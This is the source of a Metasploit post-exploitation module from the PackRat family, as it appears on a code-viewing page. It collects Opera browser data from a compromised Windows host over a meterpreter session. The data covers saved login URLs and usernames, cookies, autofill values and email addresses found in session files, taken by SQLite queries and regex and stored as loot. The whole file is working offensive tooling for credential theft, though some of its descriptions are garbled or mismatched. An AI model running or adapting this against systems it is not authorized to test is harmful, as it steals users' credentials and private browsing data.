Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/opera.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# this associative array defines the artifacts known to PackRat8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::Windows::Packrat11ARTIFACTS =12{13application: 'opera',14app_category: 'browsers',15gatherable_artifacts: [16{17filetypes: 'logins',18path: 'AppData',19dir: 'Opera Software',20artifact_file_name: 'Login Data',21description: "Opera's sent and received emails",22credential_type: 'sqlite',23sql_search: [24{25sql_description: "Database Commands which exports SRware's Login data",26sql_table: 'logins',27sql_column: 'action_url, username_value'28}29]30},31{32filetypes: 'cookies',33path: 'AppData',34dir: 'Opera Software',35artifact_file_name: 'Cookies',36description: "Opera's Cookies",37credential_type: 'sqlite',38sql_search: [39{40sql_description: "Database Commands which exports SRware's Login data",41sql_table: 'cookies',42sql_column: 'host_key, name, path'43}44]45},46{47filetypes: 'web_history',48path: 'AppData',49dir: 'Opera Software',50artifact_file_name: 'Visited Links',51description: "Opera's Visited Links",52credential_type: 'database',53sql_search: [54{55sql_description: 'Database Commands which exports ',56sql_table: 'cookies',57sql_column: 'host_key, name, path'58}59]60},61{62filetypes: 'Email',63path: 'AppData',64dir: 'Opera Software',65artifact_file_name: 'Session*',66description: 'Emails stored in session file',67credential_type: 'text',68regex_search: [69{70extraction_description: 'searches for Email TO/FROM address',71extraction_type: 'Email addresses',72regex: [73'(?i-mx:email=.*)',74]75}76]77},78{79filetypes: 'personal infomration',80path: 'AppData',81dir: 'Opera Software',82artifact_file_name: 'Web Data',83description: 'Auto filles sotred in the database',84credential_type: 'sqlite',85sql_search: [86{87sql_description: 'Database Commands which exports stored auto-fill data',88sql_table: 'autofill',89sql_column: 'name, value'90}91]92}93]94}.freeze9596def initialize(info = {})97super(98update_info(99info,100'Name' => 'Opera credential gatherer',101'Description' => %q{102PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.103PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.104Further details can be found in the module documentation.105This is a module that searches for Opera credentials on a windows remote host.106},107'License' => MSF_LICENSE,108'Author' => [109'Kazuyoshi Maruta',110'Daniel Hallsworth',111'Barwar Salim M',112'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org113],114'Platform' => ['win'],115'SessionTypes' => ['meterpreter'],116'Notes' => {117'Stability' => [CRASH_SAFE],118'Reliability' => [],119'SideEffects' => []120}121)122)123124register_options(125[126OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),127OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),128OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),129# enumerates the options based on the artifacts that are defined below130OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])131]132)133end134135def run136print_status('Filtering based on these selections: ')137print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")138print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")139print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")140141# used to grab files for each user on the remote host142grab_user_profiles.each do |userprofile|143run_packrat(userprofile, ARTIFACTS)144end145146print_status 'PackRat credential sweep Completed'147end148end149150151